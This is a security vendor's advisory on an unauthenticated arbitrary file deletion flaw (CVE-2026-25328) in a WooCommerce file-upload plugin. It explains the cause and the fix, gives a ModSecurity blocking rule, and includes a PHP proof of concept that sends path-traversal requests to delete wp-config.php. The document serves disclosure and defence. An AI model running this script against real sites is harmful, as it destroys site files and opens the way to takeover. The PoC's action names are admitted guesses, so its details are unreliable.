Atomic Edge analysis of CVE-2026-25328 (metadata-based):
The Product File Upload for WooCommerce plugin contains an unauthenticated arbitrary file deletion vulnerability in all versions up to and including 2.2.4. This path traversal flaw allows attackers to delete any file on the server filesystem, including critical WordPress configuration files. The CVSS score of 8.1 reflects the high impact of complete system compromise through file deletion.
Atomic Edge research identifies the root cause as improper limitation of a pathname to a restricted directory (CWE-22). The plugin likely accepts user-controlled input specifying a file path for deletion operations without proper validation. This input is probably passed directly to PHP file deletion functions like unlink() without sanitization. The vulnerability description confirms insufficient file path validation exists. Without code access, Atomic Edge cannot confirm the exact vulnerable function or parameter names, but the CWE classification strongly indicates classic path traversal patterns.
Exploitation likely occurs through the plugin’s AJAX handlers. Attackers would send crafted requests to /wp-admin/admin-ajax.php with an action parameter containing the plugin’s AJAX hook. The payload would include a file parameter with directory traversal sequences like ../../wp-config.php. Since the vulnerability is unauthenticated, no authentication cookies or nonces are required. The plugin’s file deletion functionality appears accessible to any site visitor.
Remediation requires implementing proper path validation before file operations. The patched version 2.2.5 likely adds validation to ensure file paths remain within allowed directories. This could involve checking for directory traversal sequences, verifying paths against a whitelist of permitted locations, or using WordPress functions like wp_normalize_path() with realpath() comparisons. Proper capability checks should also restrict file deletion to authorized users only.
Successful exploitation enables complete site compromise. Deleting wp-config.php forces WordPress to enter installation mode, potentially allowing attackers to reconfigure the site with administrative access. Deleting .htaccess files can disable security restrictions. Removing critical PHP files can cause denial of service. The vulnerability description explicitly mentions remote code execution potential when deleting specific files that control site behavior or configuration.
Here you will find our ModSecurity compatible rule to protect against this particular CVE.
# Atomic Edge WAF Rule - CVE-2026-25328 (metadata-based)
# This rule blocks exploitation of the arbitrary file deletion vulnerability in Product File Upload for WooCommerce
# The rule targets AJAX requests to the plugin's file deletion endpoint with path traversal sequences
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php"
"id:202625328,phase:2,deny,status:403,chain,msg:'CVE-2026-25328: Product File Upload for WooCommerce Arbitrary File Deletion Attempt',severity:'CRITICAL',tag:'CVE-2026-25328',tag:'WordPress',tag:'Plugin',tag:'WooCommerce',tag:'Path-Traversal'"
SecRule ARGS_POST:action "@rx ^(products_file_upload_for_woocommerce|pfu|woocommerce_file_upload|delete_uploaded_product_file)"
"chain,t:none"
SecRule ARGS_POST:file "@rx (../|..\\)"
"t:urlDecodeUni,t:normalizePathWin,t:normalizePath,ctl:auditLogParts=+E"
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-25328 - Product File Upload for WooCommerce <= 2.2.4 - Unauthenticated Arbitrary File Deletion
<?php
/**
* Proof of Concept for CVE-2026-25328
* Assumptions based on vulnerability metadata:
* 1. The plugin exposes an AJAX endpoint for file operations
* 2. The endpoint lacks authentication and nonce verification
* 3. A file parameter accepts user input without path traversal validation
* 4. The plugin slug 'products-file-upload-for-woocommerce' maps to AJAX action hooks
*
* This PoC attempts to delete wp-config.php via path traversal
*/
$target_url = 'https://vulnerable-site.com';
// Common AJAX action patterns for this plugin
$possible_actions = [
'products_file_upload_for_woocommerce_delete_file',
'pfu_delete_file',
'woocommerce_file_upload_delete',
'delete_uploaded_product_file'
];
$file_to_delete = '../../../../wp-config.php'; // Adjust traversal depth as needed
foreach ($possible_actions as $action) {
$url = $target_url . '/wp-admin/admin-ajax.php';
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, [
'action' => $action,
'file' => $file_to_delete,
// Additional parameters that might be required based on plugin functionality
'product_id' => '1',
'file_id' => '1'
]);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
echo "Attempting action: $actionn";
echo "HTTP Status: $http_coden";
echo "Response: $responsenn";
curl_close($ch);
// Check for success indicators
if (strpos($response, 'success') !== false || strpos($response, 'deleted') !== false) {
echo "[+] Potential success with action: $actionn";
break;
}
}
// Verify deletion by attempting to access wp-config.php
$config_check = $target_url . '/wp-config.php';
$ch = curl_init($config_check);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_NOBODY, true);
curl_exec($ch);
$config_status = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
if ($config_status == 404 || $config_status == 403) {
echo "[!] wp-config.php appears to be deleted or inaccessible (HTTP $config_status)n";
} else {
echo "[-] wp-config.php may still be accessible (HTTP $config_status)n";
}
?>
